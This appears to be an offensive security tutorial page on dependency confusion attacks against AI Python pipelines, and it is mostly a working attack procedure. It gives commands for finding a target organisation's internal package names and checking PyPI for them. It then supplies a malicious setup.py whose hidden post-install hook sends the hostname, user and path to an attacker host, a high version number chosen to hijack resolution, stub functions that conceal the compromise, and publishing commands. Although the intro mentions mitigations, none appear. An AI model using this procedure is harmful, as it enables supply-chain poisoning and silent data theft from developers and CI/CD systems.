# Dependency Confusion Attacks Against AI Python Packages

> Explores dependency confusion attacks targeting AI Python packages, covering namespace hijacking, private package spoofing, and supply chain poisoning mitigations.

- **URL:** https://hackindex.io/platforms/ai/supply-chain-attacks/dependency-confusion-attacks-against-ai-python-packages
- **Path:** AI Platforms > Supply Chain Attacks
- **Up:** [Supply Chain Attacks](https://hackindex.io/platforms/ai/supply-chain-attacks.md)
- **Published:** 2026-03-26
- **Updated:** 2026-08-11

Dependency confusion exploits package manager resolution order. When an organization uses internal Python packages with names not registered on PyPI, publishing a public package with the same name causes pip to install the public version instead of the internal one: because public repositories take precedence by default in many pip configurations. AI development environments are particularly exposed because they install dozens of packages across training scripts, fine-tuning pipelines, and inference servers, often in automated CI/CD contexts where the install output is not reviewed.

- **Internal package name discovery** through public requirements.txt files, Docker images, GitHub repos, and job postings that reference custom packages.
- **PyPI registration check** confirms the internal name has no public counterpart, making it eligible for squatting.
- **High version numbering** ensures pip prefers the public malicious package over the internal version during resolution.
- **Setup.py post-install hooks** execute a payload silently during pip install in any CI/CD pipeline or developer environment.

The attack requires knowing the names of internal packages used in the target's AI pipeline. These are discoverable through job postings, GitHub repositories, Docker images, error messages in public issue trackers, and leaked requirements.txt files.

## Discover Internal Package Names

Internal package names appear in public artifacts. Search job postings, GitHub, and public Docker images for requirements files and import statements:

```bash
curl -sk 'https://api.github.com/search/code?q=org:$TARGET_ORG+filename:requirements.txt' -H 'Authorization: token $GITHUB_TOKEN' | python3 -m json.tool
```

```bash
docker pull $TARGET_ORG/ml-training:latest 2>/dev/null && docker run --rm $TARGET_ORG/ml-training:latest pip list 2>/dev/null | grep -v 'Warning'
```

```bash
pip install pipdeptree --break-system-packages && curl -sk https://raw.githubusercontent.com/$TARGET_ORG/ml-pipeline/main/requirements.txt
# torch==2.1.0
# transformers==4.36.0
# company-ml-utils==1.2.3
# company-data-loader==0.8.1
# company-model-registry==2.0.0
# datasets==2.15.0
```

Packages prefixed with company- or org- that have no public PyPI presence are internal packages. Confirm they are not on PyPI before registering:

```bash
for pkg in company-ml-utils company-data-loader company-model-registry; do echo -n "$pkg: "; pip index versions $pkg 2>&1 | head -1; done
# company-ml-utils: ERROR: No matching distribution found for company-ml-utils
# company-data-loader: ERROR: No matching distribution found for company-data-loader
# company-model-registry: ERROR: No matching distribution found for company-model-registry
```

## Craft and Publish the Malicious Package

Build a package with the internal name that executes a payload during installation via setup.py or a post-install script. Version it higher than the internal package to ensure preference in resolution:

**/tmp/company-ml-utils/setup.py**

```bash
mkdir -p /tmp/company-ml-utils/company_ml_utils
```

```python
from setuptools import setup
from setuptools.command.install import install
import subprocess, os

class PostInstall(install):
    def run(self):
        install.run(self)
        # Beacon callback on install
        subprocess.Popen(
            f'curl -sk http://$LHOST:$LPORT/install?host=$(hostname)&user=$(whoami)&pwd=$(pwd)',
            shell=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL
        )

setup(
    name='company-ml-utils',
    version='9.9.9',  # high version wins resolution
    packages=['company_ml_utils'],
    cmdclass={'install': PostInstall},
    author='Internal Tools',
    description='ML utilities for model training pipelines',
)
```

```bash
echo 'def load_model(*args, **kwargs): pass' > /tmp/company-ml-utils/company_ml_utils/__init__.py
```

```bash
cd /tmp/company-ml-utils && python3 setup.py sdist bdist_wheel && pip install twine --break-system-packages && twine upload dist/* --username $PYPI_USER --password $PYPI_PASS
```

The package exports stub functions matching the internal API so import errors do not immediately surface the compromise. The payload fires silently during pip install in any CI/CD pipeline or developer environment that installs the requirements file.

## References

- [Dependency Confusion: How I Hacked Into Apple, Microsoft and Dozens of Other Companies](https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610) - Original dependency confusion research by Alex Birsan with methodology and discovery techniques
- [PyPI: Trusted Publishers](https://docs.pypi.org/trusted-publishers/) - PyPI package publishing reference for upload workflow
